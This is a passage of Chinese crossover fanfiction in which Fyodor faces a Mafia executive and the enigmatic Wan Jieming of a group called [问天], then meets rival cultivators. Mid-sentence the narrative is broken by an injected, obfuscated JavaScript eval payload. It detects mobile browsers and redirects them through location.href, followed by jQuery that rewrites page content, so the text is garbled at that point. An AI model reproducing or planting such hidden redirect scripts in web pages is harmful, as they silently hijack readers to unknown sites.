万皆明声音温和清晰,回荡在地下室内:“杀人是最为简单粗暴的法子,但也会白白浪费了一个人才。”
“在[问天],我们追求的是平等与敬畏。”
“[问天]?”
干部A显然对[问天]这个组织很感兴趣,他来了兴致:“如果是你们[问天],会怎么处理?”
费奥多尔也静下心听着。
从最开始他就在猜测,万皆明为什么不戴项圈就能获取干部A的信任,无外乎只有两种可能。
一是和信任相关的异能力或术式。
二是万皆明背靠更大的组织,干部A斟酌后意识到自己无法动他。
现在看来大概是第二个可能。
万皆明笑了。
那笑意如春水,声音轻如蛇信:“自然是待他如普通人,为他提供一个干净的空间,让他每日只需在空间内打扫,无需担忧其他事情。”
干部A不解:“这样就能让人加入你们组织?”
“自然。”万皆明说,“懂得了何为明理,何为新生,自然会渴望加入我们。”
干部A皱眉。
干部A没有听明白,费奥多尔听明白了。
干净的空间……
是指无人、无声、无物的空间。
摧毁一个人,首先是从心理入手,完全寂静孤独的空间就是最佳选择。而后是这个人的思考能力,重复、单一、日复一日的打扫。
而明理和新生,则是无法忍受孤独后向组织的询问,无论是聊什么都好,只要是与活人交谈,也能得到慰藉。
而组织则会在这个时候进行洗脑。
久而久之,这个人的脑海中只会留下灌输的思想和内容。
更有甚者,可能还会生出斯德哥尔摩综合征。
这确实很像是万皆明的风格,和他这个人一样。
如细流般无声,一点点浸透。
却实在狠毒。
费奥多尔垂着眼,指尖动了动。
若是干部A真的听取了这个意见,他就得提前中止这次任务了。
他没有那么多时间陪干部A玩这种游戏。
“不过,这并不适合用在魔人身上。”万皆明话锋一转,“他有自己的目标,只要目标还在,他就难以被打动。”
费奥多尔的动作一顿。
那青年依旧眉目含笑:“当从他最在意的事物开始。”
声音清晰。
“逐个摧毁。”
费奥多尔抬起头,定定地望着他。
从最开始,费奥多尔就在想万皆明的立场是什么,只要是个聪明人,都该知道干部A这样的人并不适合合作。
现在费奥多尔知道了。
万皆明不是帮干部A,也不是帮他,而是在帮“弱势”的那一方。
哪一边有了落败的倾向,他就会出手帮忙扶起,让其有继续抗衡的资本。
就像是在看斗蛐蛐一般,发现快要结束时会用手推一把,让游戏延续。
观看蛐蛐的人会希望游戏继续延续,也会希望自己心中看好的能够活下来,继续下一场游戏。
无论是[问天]还是万皆明,都会有倾向。
他现在就需要试探出这个倾向。
费奥多尔突然开口:“你们会失败的。”
万皆明看过来,与费奥多尔对上了视线。
那双灰绿色的眸子微微闪烁着,倏而笑了:“魔人确实是个硬骨头。”
“既然如此,干部先生不如先按照原计划进行。”
他声音平稳:“[问天]会为您兜底。”
干部A纠结了一秒,拍了下手掌,吩咐手下:“给他安排一个房间,好生照看。”
“我们出去继续聊。”
虽然他没有听明白,但他清楚这种事情不能继续当着费奥多尔的面聊。
“自然可以。”
脚步声响起,两人很快离开了地下室。
费奥多尔知道,在刚刚他与对方短暂的交锋后,万皆明猜到了他的计划,且在干部A和他之间选择了他。
这算是这次变数中的好消息了。
身边的人为他解开绳索。
一切回到了费奥多尔原本计划的那样。
他被身边的人试探异能力,干部A单独召见他,如同费奥多尔最初预测那样,分毫不差。
万皆明在整个过程中并没有出现。
只有干部A死前一直在喊着:“[问天]呢!万皆明!你们还想不想要和Mafia合作了!”
“我可以分出一条宝石走私线路!只要你们救我——”
干部A的喊叫声并没有传出去,这里的每个房间隔音质量都是一等一的高。
最后他睁着一双眼睛,自缢而亡。
费奥多尔没什么表情地处理掉干部A的其他手下,他一边擦着手上的血迹,一边朝着楼梯上走去。
走了几步,地面忽然覆下一层影子。
万皆明倚靠在楼梯高处,青年双指之间夹着一张符纸,随着动作而轻微晃动。
“我等你很久了。”
一撮火苗出现在符纸上方,自上而下开始灼烧着符纸。
待到火苗要烧到指尖时,万皆明娴熟地松手,符纸飘飘然地于空中被烧尽,只留下缕缕白烟。
费奥多尔身上的污秽和血迹随着符纸一同消散。
这是什么?
可以让人保持干净的能力?
费奥多尔若有所思地盯着万皆明的指尖。
万皆明施施然地收手:“不客气,费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。”
费奥多尔神色未变。
从A死亡来看,万皆明是选择了他。
但他还不知道[问天]的目的是什么。
万皆明又抽出一张符纸,他的外表和气质极具欺骗性,一尘不染地站在那里,一身正气。
费奥多尔冷不丁发问:“你知道[修真协会]吗?”
一个在前段时间与[问天]一同出现,大闹了咒术界的组织。
“修真协会?”
万皆明掀起眼,打量他片刻。
“不熟,不了解,不认识。”
那张新的符纸随之燃起,消散在空中。
“不过有人向我下达过杀死[修真协会]会长的委托。”万皆明模样清正,声音平稳。
若是忽略他说出的内容,定让人感叹这真是一位正气凛然的君子。
费奥多尔的注意力全放在他的话中:“杀死[修真协会]会长的委托?”
“是。”万皆明的声音放轻,“那位会长来去无定,鲜少有人知道ta如今的身份,如今在何处。”
“ta一直很会藏。”
万皆明说。
“你若是有关于ta的情报,可以告诉我。”
说罢,万皆明解下腰间的徽章递给他。
费奥多尔盯着那徽章看了半晌,没有接,他问:“报酬呢?”
“报酬是——”
万皆明笑意盈盈:“我会接下你发布的新委托。”
这是一个令人心动的报酬。
是来自[问天],和这位神秘变数的帮助……
费奥多尔接过徽章,他刚张开嘴要说些什么,面前的万皆明却站直身子,又捏出一张符纸。
“既然如此,我们有缘再见。”
符纸消散。
毫无预兆的告别。
万皆明凭空消失在了楼梯上方。
费奥多尔神色不明。
这样仓促的离开,就像是后面有什么东西在追着他一样。
楼道内的灯闪烁了一下,一股危险强大的气息骤然席卷而入。
费奥多尔最先感知到的是一片凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440183|201030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意。
整个地下室都开始震动,墙面崩裂,灰尘四起。
下一秒,一缕阳光骤然落入了地下室内,而后是大片大片的光——
基地上面被掀开了。
真正物理意义上的掀开了。
费奥多尔抬起头。
太阳高悬,洒下日光,四周的墙壁皆数倒塌,混乱之间,一个人影落在了地面上。
来者有着一双亮紫色的眸子,妖异至极。
那人的视线落在了费奥多尔手中的徽章上。
[渡]言简意赅:“徽章为什么在你手上,人呢?”
费奥多尔看看徽章:“……”
跟着徽章找来的?
怪不得万皆明跑那么快。
原来是给他扔了一个烫手芋头。
费奥多尔唇角一扯,不由开始重新评估和万皆明合作的靠谱程度。
费奥多尔问:“阁下是?”
来者道:“修真协会,渡。”
费奥多尔迅速思考着。
修真协会的人……看这个架势像是在追杀万皆明。
修真协会和问天是敌对的?
费奥多尔面色如常:“不知道,他给我塞了这个徽章后就走了。”
[渡]点头。
他没有半点停留的意思,得到了答案就走。
准备继续套话的费奥多尔顿了顿:“……”
就没有一点好奇心吗?
连万皆明为什么会给他徽章也不问?
空气波动着,不同于来时的大张旗鼓,[渡]走的很安静。
只是眨眼间便消失不见。
只留下费奥多尔一人捏着徽章,站在被掀了屋顶的地下室内。
他在原地站了片刻,根据记忆里的平面图去寻找干部A收集的[港口Mafia异能者情报]。
费奥多尔一路寻过去。
却只见到了空空荡荡的保险箱。
里面的东西早已被拿走。
【震惊值+10】
【震惊值+50】
【震惊值……】
【震惊值:340/1000】
播报响起。
系统唏嘘:【干部A居然也能贡献这么多点数……】
干部A在死前贡献了一大波震惊值,其余则是费奥多尔和组织里的其他人贡献的。
宿主还是那个宿主,刚到手的点数说用就用,直接给万皆明买了三张符纸,清洁符,隐匿符,传送符。
150点数像流水一样哗啦啦地溜走了。
系统心疼地默念有舍才有得。
楚尽此刻位于武装侦探社附近的公寓中,他坐在沙发上,耳边忽传来一声巨响!
楚尽抬起头。
一个巨大的洞出现在了阳台处,直接打穿了玻璃,碎石混杂玻璃碎片簌簌落下。
人形不明生物被打飞进屋内,死死嵌在墙壁里。
这显然不是普通人能做到的。
异能力?还是咒术?
楚尽没有思考太多,抬起手熟练地拨通武装侦探社的号码。
由于楚尽的运气特殊,武装侦探社为他特留了一段通讯频道,那头几乎是秒接:“楚……”
“砰!”
侦探社那头的声音还没有传来,手机被一股力量打落在地上。
“滋滋。”
手机被砸落,屏幕碎得不成样子,扬声器只传来几道电流声,最后屏幕熄灭,彻底没了声音。
一道嗓音响起:“好久不见。”
楚尽抬头。
只见夏油杰身穿袈裟,闲庭信步地从阳台走进来。
他弯起眼睛一笑,望着楚尽,在唇前比起一个手指,做出噤声的动作。
“不要通知其他人。”
夏油杰的声音温和,似在和楚尽商量。
“好吗?”